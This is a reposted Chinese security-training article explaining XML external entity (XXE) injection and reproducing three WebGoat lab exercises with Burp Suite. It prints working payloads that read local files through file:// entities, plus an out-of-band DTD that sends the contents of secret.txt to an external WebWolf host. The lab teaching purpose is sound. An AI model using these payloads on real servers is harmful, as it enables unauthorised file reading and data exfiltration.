S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE

Posted 啪哒网安加学院

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE相关的知识,希望对你有一定的参考价值。


点击上方蓝色字关注我们~
S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE

Hello,我是想与大家交个朋友的啪仔


今天你被消费主义语录洗脑了吗?


双11将近,又到了诱导消费文案诈尸的日子,比如:


“别替老公省钱,你省出的钱,他早晚花在别的女人身上。”

——有道理,也劝你别给老公生孩子,因为你生的孩子也不一定是他的S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


“女人的衣橱永远少一件衣服。”

——我的存款永远少一个零,知道为啥吗?都TM被你们赚走了!


“遇到喜欢的东西就买下来,钱不是真的花掉了,而是换了另一种形式陪在你身边。”

——当然,它换成了花呗欠款的形式陪我好几年呢~


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE

图片来源于知乎用户魔性养生90后


算了,也不给大家添堵了,啪仔主要是希望大家不要上了消费主义的当,该买的买,不该买的就让它们在商家的仓库里积灰吧。


有那时间和精力不如学点知识,毕竟,“人的脑子里永远有一个知识盲区。”


今天啪仔跟大家聊聊XML外部实体注入攻击-XXE。



原理

1.1 XML简介

要想了解XXE漏洞,首先要明白基础知识,了解XML文档的基础组成。XML是用来标记电子文件,从而使该文件具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。


XML文档结构包括XML声明、DTD:Document Type Definition,即文档类型定义、文档元素。DTD用来为XML文档定义语义约束。DTD 可以嵌在 XML 文档内声明(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。


1.2 XML外部实体攻击XML External Entity)简介
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。


1.3 XML外部实体注入攻击原理

在XML文档中有些包含system标识符定义的“实体”,关键字"system"会告诉XML解析器,实体的值将从url中读取,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现出来。也就是说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统本地文件或者是远程系统的文件)。


1.4 漏洞类型

(1)基础的XXE注入— 外部实体注入本地DTD;

(2)基于盲注的XXE注入—XML解析器在响应中不显示任何错误;

(3)基于错误的XXE注入—成功解析之后,XML解析器始终显示SAME响应。(即“您的消息已被接收”),因此,我们可能希望解析器将文件的内容“打印”到错误响应中



漏洞复现

2.1 攻击场景一

(1)要求通过添加评论来进行XML外部实体注入列出根目录,在输入框中随意评论,并点击Submit:


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


(2)打开burpsuite进行抓包

浏览器使用火狐,并添加代理工具,在使用burpsuite进行抓包的时候打开代理


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


操作步骤:在Proxy->HTTP history中点击选择
http://192.168.154.140:8080/WebGoat/xxe/simple;

出现下方内容后点击空白区域,右键,选择Send to Repeater,看到上方Repeater变颜色了即可


(3)在Repeater中构造

根据上图中抓包的结果看到提交的实际上是一个xml,那么就可以直接构造我们需要注入的xml,把xml中的语句进行替换。

构造前:


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


构造后:


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE

点击Go,查看响应发现成功了


(4)返回靶场界面,再次点击Submit,出现根目录:


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


将根目录复制粘贴到输入框中,点击submit:


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


2.2 攻击场景二

(1)这个攻击场景的要求和攻击场景一一样,都是通过提交评论来实现XXE外部实体注入,只是这里提到服务器用的是REST框架,接收到的json数据格式而不是XML。输入任意字符并点击Submit:


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE

(2)利用burpsuite进行抓包,开启拦截模式:Intercept is on
在拦截的包中找到以下包:/WebGoat/xxe/content-type

显示提交的是json


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


(3)修改发送请求

把content-type中的application/json改为application/xml;


并发送xml数据:

<?xml version="1.0"?>

<!DOCTYPE comment [

    <!ENTITY xxe SYSTEM "file:///">]>

<comment><text>&xxe;</text></comment>


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


(4)点击Forward进行放包,成功

S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE



2.3 攻击场景三
(1)拿到指定目录中的txt文件,并通过将其上传到自己的服务器上(下面使用WebWolf),读取其中的内容,也就是读取指定目录下的secret.txt文件里面的内容。

任意输入字符,点击submit


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


(2)首先创建一个.txt文件,将以下内容复制粘贴进去,保存后将后缀修改为.dtd文件


<!ENTITY % payload  "<!ENTITY attack SYSTEM 'http://192.168.2.140:9090/landing?text=%file;'>">



S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


修改后缀显示结果:

S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


(3)上传到webwolf中
(注意:根据靶场环境,在这之前需要先在虚拟机中运行webwolf)

点击“添加”选中文件->点击UPload files上传文件


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


(4)打开burpsuite查看抓包情况


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


(5)修改发送请求:

<?xml version="1.0"?>

<!DOCTYPE root [

<!ENTITY % file SYSTEM "file://///root/.webgoat-8.1.0//XXE/secret.txt">

<!ENTITY % test SYSTEM "http://192.168.2.140:9090/files/seczone/xxe6.dtd">

%test;

%payload;

]>

<comment>  <text>&attack;</text></comment>



S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


虽然响应是错误的,但是这时候webwolf已经收到请求了,我们打开webwolf查看情况


S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE


WebGoat%208.0%20rocks...%20(FVpHxOgrKx)"


红框中的内容就是secret.txt文件里面的内容,我们还要将其进行url解码,%20的url解码就是一个空格,所以解码后的结果为:WebGoat 8.0 rocks... (FVpHxOgrKx)"


(5)输入结果:成功


以上部分内容来源于网络

以上是关于S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE的主要内容,如果未能解决你的问题,请参考以下文章

xml注入攻击

利用XML外部实体注入XXE攻击漏洞

XXE(外部实体注入攻击)

漏洞通告WebLogic XML外部实体注入漏洞

漏洞通告WebSphere XML外部实体注入(XXE)漏洞(CVE-2020-4643)处置手册

XML注入详解 xxe注入攻击